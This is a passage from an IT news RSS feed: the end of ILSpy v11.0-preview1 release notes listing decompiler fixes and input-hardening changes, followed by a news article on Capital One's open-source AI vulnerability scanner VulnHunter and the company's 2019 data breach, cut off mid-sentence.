<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4732796565" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3814" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3814/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3814">#3814</a>: Toggle the fold under the right-click, not at the caret</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4732765182" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3812" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3812/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3812">#3812</a>: Syntax-colour analyzer signatures with bold type names (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="704805286" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/2164" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/2164/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/2164">#2164</a>)</li>
</ul>
<h1>Enhancements</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832648354" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3872" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3872/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3872">#3872</a>: Decompile await on dynamic expressions</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759122422" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3837" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3837/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3837">#3837</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4720769518" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3804" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3804/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3804">#3804</a>: decompile foreach over inline array</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4687061981" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3791" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3791/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3791">#3791</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4650340876" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3777" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3777/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3777">#3777</a>: decompile runtime async without a separate C# 15 setting</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761445685" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3843" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3843/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3843">#3843</a>: Bound XamarinCompressedFileLoader against crafted XALZ headers</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761395399" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3842" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3842/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3842">#3842</a>: Bound WebCilFile section access against mapped-view length</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761295787" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3841" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3841/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3841">#3841</a>: Harden BAML reader against crafted-resource crashes</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4735803980" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3816" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3816/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3816">#3816</a>: Allow overriding an assembly's target framework for reference resolution</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761169648" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3840" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3840/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3840">#3840</a>: Bound .rsrc resource-tree parsing against crafted input</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759588790" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3838" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3838/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3838">#3838</a>: Guard against OOB read when bundle signature is at file start</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4737336554" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3818" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3818/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3818">#3818</a>: Display the IL 'tail.' prefix in C# output</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4723910454" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3808" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3808/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3808">#3808</a>: Migrate the VS extension to an SDK-style VSIX (dotnet build) and retire the VS2017/2019 add-in</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4719933938" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3802" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3802/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3802">#3802</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718225639" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3799" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3799/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3799">#3799</a> and three related stackalloc initializer decompilation defects</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4652771245" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3780" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3780/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3780">#3780</a>: Compute public-key tokens with a managed SHA-1</li>
</ul>
<h1>Documentation</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820002722" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3868" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3868/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3868">#3868</a>: CONTRIBUTING.md for the AI era</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820951011" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3870" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3870/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3870">#3870</a>: Add decompiler architecture document</li>
</ul>
<h1>Testing / Infrastructure</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644097043" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3771" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3771/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3771">#3771</a>: Run the decompiler test suite on Linux</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4671571517" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3788" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3788/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3788">#3788</a>: Use cross-platform separators for the FSharp.Core.dll test path</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4723637729" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3807" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3807/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3807">#3807</a>: Adopt SDK default Compile items in Decompiler and Decompiler.Tests</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733975594" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3815" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3815/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3815">#3815</a>: Verify generated PDBs against the compiler's breakpoint map (PdbGen fixtures previously passed vacuously)</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4758438764" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3836" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3836/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3836">#3836</a>: Don't assert decompiled local types match the signature</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761139795" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3839" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3839/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3839">#3839</a>: Add fine-grained debug steps with highlighting for C# and ILAst</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793373898" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3849" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3849/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3849">#3849</a>: Set OpenSSL SHA1 flag in build scripts</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4808741983" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3859" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3859/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3859">#3859</a>: Add test coverage for untested corners of implemented language features</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4851968414" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3874" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3874/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3874">#3874</a>: Upload TestCases folder as artifact when CI tests fail</li>
</ul>
<h1>Contributions</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4801689525" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3851" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3851/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3851">#3851</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4801681484" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3850" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3850/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3850">#3850</a>: recover ReadOnlySpan array literals from the legacy lazy cache — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4864134658" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3878" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3878/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3878">#3878</a>: Handle negative dictionary capacity in string switch transform — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ds5678/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ds5678">@ds5678</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750785500" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3828" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3828/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3828">#3828</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750713145" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3826" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3826/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3826">#3826</a>: wrap an overflowing constant subexpression in unchecked() — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752170808" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3831" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3831/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3831">#3831</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750713020" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3825" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3825/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3825">#3825</a>: reconstruct async iterators with [EnumeratorCancellation] and await in finally — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752125428" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3830" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3830/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3830">#3830</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750713292" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3827" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3827/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3827">#3827</a>: keep the while-loop for a ref local used after the loop (avoid an uninitialized hoisted ref decl) — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750148217" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3823" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3823/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3823">#3823</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4749937155" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3821" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3821/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3821">#3821</a>: keep ref-struct conditional as if/return, not ?. / ?? (CS8978) — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750084889" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3822" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3822/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3822">#3822</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4749936915" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3820" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3820/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3820">#3820</a>: decompile dynamic ~ as ~x instead of an unsupported-opcode error — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4711234243" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3796" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3796/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3796">#3796</a>: Fix decompiler tests project inside VS — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DoctorKrolic/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DoctorKrolic">@DoctorKrolic</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4671354233" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3787" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3787/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3787">#3787</a>: dev: fix editorconfig parsing on some editors — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mochaaP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mochaaP">@mochaaP</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4865510907" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3879" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3879/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3879">#3879</a>: Fix the "Use nested namespace structure" option — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ds5678/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ds5678">@ds5678</a>, thank you!</li>
</ul>
<h1>Bug Fixes</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4868276420" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3881" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3881/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3881">#3881</a>: Reject negative char index in the length-and-char string switch</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4814308307" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3866" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3866/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3866">#3866</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3053643281" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3475" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3475/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3475">#3475</a>: Emit 'true ? null : new { ... }' for null of anonymous type</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4814077592" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3864" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3864/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3864">#3864</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4810298870" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3860" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3860/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3860">#3860</a>: Avoid 'out var' if the variable recurs in the argument list</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848565462" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3873" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3873/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3873">#3873</a>: Fix dynamic event-assignment decompilation leaking is-event opcode</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4813891618" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3863" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3863/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3863">#3863</a>: Simplify hoisted null-guard fold to reference-type constructor chains</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4804415379" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3852" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3852/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3852">#3852</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750711500" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3824" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3824/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3824">#3824</a>: fold a hoisted argument null-guard at the ILAst level</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4757025735" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3832" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3832/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3832">#3832</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4629464054" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3754" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3754/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3754">#3754</a>: omit async stepping info for runtime-async methods</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4722659830" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3806" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3806/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3806">#3806</a>: Fix Export NullReferenceException for images/resourcexsd.baml</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4687203880" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3792" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3792/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3792">#3792</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644560669" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3774" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3774/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3774">#3774</a>: keep field initializers when decompiling a static ctor alone</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4686988933" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3790" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3790/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3790">#3790</a>: Skip missing session assemblies when navigating on launch</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4649929996" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3776" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3776/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3776">#3776</a>: Escape reserved Windows device names in output file names</li>
</ul>
<p>For a full list of changes click <a href="https://github.com/icsharpcode/ILSpy/compare/v10.1...v11.0-preview1">here</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Capital One releases VulnHunter, an open-source AI tool that finds software flaws before hackers do]]></title>
<description><![CDATA[Capital One on Thursday released VulnHunter, an open-source, agentic AI security tool that scans source code for exploitable vulnerabilities, maps out how an attacker would reach them, and proposes targeted fixes — all before a single line ships to production. The tool, built internally and now a...]]></description>
<link>https://tsecurity.de/de/3677035/it-nachrichten/capital-one-releases-vulnhunter-an-open-source-ai-tool-that-finds-software-flaws-before-hackers-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677035/it-nachrichten/capital-one-releases-vulnhunter-an-open-source-ai-tool-that-finds-software-flaws-before-hackers-do/</guid>
<pubDate>Fri, 17 Jul 2026 23:02:38 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.capitalone.com/">Capital One</a> on Thursday released <a href="https://github.com/capitalone/vulnhunter">VulnHunter</a>, an open-source, agentic AI security tool that scans source code for exploitable vulnerabilities, maps out how an attacker would reach them, and proposes targeted fixes — all before a single line ships to production. The tool, built internally and <a href="https://github.com/capitalone/vulnhunter">now available on GitHub</a> under an Apache 2.0 license, is one of the most ambitious attempts by a major financial institution to turn offensive AI capabilities into a public defensive resource.</p><p>The move marks a striking philosophical turn for a company still defined, in many boardrooms, by a <a href="https://www.capitalone.com/digital/facts2019/">2019 data breach</a> that compromised the personal information of roughly 106 million people across the United States and Canada and ultimately cost the bank an <a href="https://www.occ.gov/news-issuances/news-releases/2020/nr-occ-2020-101.html">$80 million federal fine</a>.</p><p>Capital One is not simply releasing another vulnerability scanner. VulnHunter introduces what the company calls an "<a href="https://github.com/capitalone/vulnhunter">attacker-first forward analysis</a>" — a workflow in which the tool begins at the points where a real adversary would enter a system, such as APIs, network messages, or file uploads, and reasons forward through the application's logic to determine whether an exploit path actually survives the code's existing defenses. Conventional scanners typically work in reverse, flagging a dangerous-looking code pattern and then searching backward for a hypothetical attacker. That approach, security practitioners widely acknowledge, buries engineering teams under avalanches of false positives.</p><p><a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> attacks that problem head-on with a second innovation: a built-in "falsification engine" that tries to disprove its own findings before a developer ever sees them. After the tool surfaces a potential vulnerability, a structured reasoning workflow hunts for logical gaps, unsupported assumptions, and conditions that would prevent the attack from succeeding. Only findings the engine fails to rule out reach a human reviewer — and when they do, VulnHunter delivers not just an alert but a full explanation of the exploit path and a proposed code fix ready for engineering review.</p><p>The tool currently runs on Anthropic's <a href="https://www.anthropic.com/news/claude-opus-4-8">Claude Opus 4.8 model</a> inside a Claude Code environment, though Capital One says the framework has the potential to work across other foundation models and coding harnesses.</p><h2><b>The 2019 breach that reshaped how Capital One thinks about cybersecurity</b></h2><p>To understand why Capital One chose to open-source a tool this consequential, you have to understand the scar tissue.</p><p>On July 19, 2019, <a href="https://www.capitalone.com/digital/facts2019/">Capital One disclosed </a>that an outside individual — later identified as a former Amazon Web Services employee named Paige Thompson — had gained unauthorized access to names, addresses, self-reported income, Social Security numbers, and linked bank account numbers belonging to credit card customers and applicants. The breach, which Capital One says occurred on March 22 and 23, 2019, was discovered only after an external security researcher flagged a configuration vulnerability through the company's <a href="https://www.capitalone.com/digital/responsible-disclosure/">Responsible Disclosure Program</a> on July 17 of that year.</p><p>The damage was sweeping. Approximately <a href="https://www.npr.org/2019/07/30/746687015/100-million-people-in-the-u-s-affected-by-capital-one-data-breach">100 million people in the United States</a> and 6 million in Canada were affected. Roughly 140,000 Social Security numbers, about 80,000 linked bank account numbers, and approximately 1 million Canadian Social Insurance Numbers were compromised. The FBI arrested Thompson, and the government stated it believed the data had been recovered with no evidence of fraud. But the reputational and regulatory toll was enormous.</p><p>In August 2020, the Office of the Comptroller of the Currency <a href="https://www.occ.gov/news-issuances/news-releases/2020/nr-occ-2020-101.html">fined Capital One $80 million</a>, finding that the bank had failed to adequately identify and manage risks as it migrated significant technology operations to the cloud. As Reuters reported at the time, the OCC's consent order cited insufficient network security controls, inadequate data loss prevention measures, and a board that failed to hold management accountable when internal auditing surfaced problems. The OCC also ordered Capital One to overhaul its operations and submit new cybersecurity plans for regulatory review.</p><p>The incident became an industry case study in the dangers of moving fast with new technology. As <a href="https://cyberscoop.com/capital-one-hack-banking-security/">CyberScoop reported</a> in July 2019, a cybersecurity executive at a competing financial company observed that the breach "could be the result of trying too many new things and forcing them through." Capital One's own CEO, Richard D. Fairbank, acknowledged the gravity of the moment. "While I am grateful that the perpetrator has been caught, I am deeply sorry for what has happened," Fairbank said at the time. "I sincerely apologize for the understandable worry this incident must be causing those affected and I am committed to making it right."</p><h2><b>How Capital One rebuilt its security reputation through open-source investment</b></h2><p>What followed was not a retreat from technology but a doubling down — with security explicitly at the center.</p><p>Capital One had declared itself an "<a 